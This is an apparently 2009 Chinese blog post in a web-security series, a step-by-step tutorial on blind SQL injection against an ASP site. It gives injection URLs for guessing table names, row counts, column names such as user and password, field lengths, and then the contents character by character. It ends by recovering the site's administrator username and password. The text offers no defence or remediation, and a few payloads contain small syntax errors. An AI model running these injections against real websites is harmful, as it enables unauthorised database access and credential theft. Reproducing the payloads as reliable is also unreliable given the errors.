Web 安全系列文章--SQL注入内容猜解
作者:haipaopao 日期:2009-08-29
Web 安全系列文章--SQL注入内容猜解
接上文,讲述了如何检测web上面的SQL注入漏洞,那么本篇将继续讲解如果通过此漏洞获取一些我们想要的信息。
那么找到一个漏洞之后如何进一步进行注入呢?具体步骤如下。
1、猜解表名
要猜表名的话,首先要熟悉程序员在设计数据库时的习惯,对于一般的程序员来说,可能会采用admin、user啊之类的方式来对用户信息进行命名,那么在猜解的时候就可以使用下面的语句进行表名猜解。
比如:www.test.asp?user=10;
对于此类的网站可以使用www.test.asp?user=10 and 0<(select count(*) from 表名)
使用前面所说的admin之类的准备的表明替换表名,构成语句
www.test.asp?user=10 and 0<(select count(*) from admin)
如果返回正确,说明次select语句执行成功,那么就说明该表存在。根据例子我们发现了admin表存在。
2、猜解表中内容个数
同样适用语句:
www.test.asp?user=10 and 内容个数<(select count(*) from admin)
从1开始一次替换内容个数,构造诸如一下的语句:
www.test.asp?user=10 and 1<(select count(*) from admin)
www.test.asp?user=10 and 2<(select count(*) from admin)
......
www.test.asp?user=10 and n<(select count(*) from admin)
直到次语句失败为止。那么在那个地方失败就说明此表的内容条数是n-1.到此我们发现了admin表中存在n-1条记录。
3、猜解字段名
对字段明的猜解同样是根据程序员的习惯进行猜解,我们一般可以想象的到,程序员习惯使用user,password进行字段名的定义,那么我们就可以根据这类的定义使用诸如此类的语句进行字段猜解。
1=(select count(*) from admin where len(用户字段名称name)>0)
那么假设,用户的表段中含有user和password字段,那么此语句将执行成功;
www.test.asp?user=10 and 1=(select count(*) from admin where len(user)>0)
www.test.asp?user=10 and 1=(select count(*) from admin where len(password)>0)
那么我们通过这种猜测方式就可以猜到admin表中存在user和password两个字段。
是不是感觉离成功又进了一步呢?继续往下看!
4、猜解字段长度
在猜解字段内容之前要先去猜解字段长度。判断出长度之后那么我们对内容的猜解将会更加顺利。
使用下面的语句进行猜解
1=(select count(*) from admin where len(用户字段名称name)>字段长度)
如此使用1--n对字段长度进行替换
www.test.asp?user=10 and 1=(select count(*) from admin where len(password)>1)
......
www.test.asp?user=10 and 1=(select count(*) from admin where len(password)>n)
直到
www.test.asp?user=10 and 1=(select count(*) from admin where len(password)>n-1)成功
www.test.asp?user=10 and 1=(select count(*) from admin where len(password)>n)失败
那么这说明password的长度是n-1。
5、猜解内容
我们知道了表名之后是不是迫切想知道该表中有什么内容呢?
使用下面的方法进行进一步的尝试,将可以获取得到表中的内容。
1=(select count(*) from admin where left(字段名字,1)=ascii字符)
www.test.asp?user=10 1=(select count(*) from admin where left(user,1)=a)
如果发现此语句执行成功,那么我们可以断定admin表中的user中的一条记录中的第一个字符是a
继续使用语句
www.test.asp?user=10 1=(select count(*) from admin where left(user,2)=ad)
www.test.asp?user=10 1=(select count(*) from admin where left(user,3)=adm)
www.test.asp?user=10 1=(select count(*) from admin where left(user,4)=admi)
www.test.asp?user=10 1=(select count(*) from admin where left(user,5)=admin)
如此继续,知道猜到上次获取的字段长度为止,那么我们就可以获取到admin表中的user字段中含有admin这个用户。
到这里我们是不是已经才出了此网站的用户名呢?
当然,使用同样的方式就可以才出用户的密码。
到此我们已经猜出了此网站的用户名和密码,那么我们是不是已经攻破了这个网站呢。
当然在注入的过程中可能会遇到一些内容,但是整体的注入的原理基本上到这里都讲完了。后续将继续SQL注入进行一些高级的讲解。
评论: 0 | 引用: 0 | 查看次数: 320
发表评论
上一篇
下一篇


文章来自:
Tags:
相关日志:
